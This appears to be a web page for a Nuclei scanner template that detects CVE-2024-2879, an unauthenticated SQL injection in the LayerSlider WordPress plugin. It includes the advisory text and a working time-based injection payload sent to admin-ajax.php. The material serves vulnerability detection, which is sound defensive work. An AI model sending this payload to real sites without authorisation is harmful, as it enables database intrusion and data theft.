WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection

ID: CVE-2024-2879

Severity: high

Author: d4ly

Tags: time-based-sqli,cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli

Description

The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

YAML Source

id: CVE-2024-2879

info:
  name: WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection
  author: d4ly
  severity: high
  description: |
    The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: Fixed in 7.10.1
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2879
    - https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
    - https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
    - https://layerslider.com/release-log/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-2879
    cwe-id: CWE-89
    epss-score: 0.00492
    epss-percentile: 0.76133
    cpe: cpe:2.3:a:layerslider:layerslider:7.9.11:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: layerslider
    product: layerslider
    framework: wordpress
    publicwww-query: "/wp-content/plugins/LayerSlider/"
  tags: time-based-sqli,cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"

    matchers:
      - type: word
        internal: true
        words:
          - ".ls-clearfix:before"

  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(body, "<script>")
        condition: and
# digest: 4a0a004730450220393ddafa1fa2ee8d28fb58b84c0263ed78233642dcf78fca2c0cf3c246aa4a9802210095360252f9ccd53982b3d3587b7081272f834c3262f72075eaecd2d760639512:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-2879.yaml"

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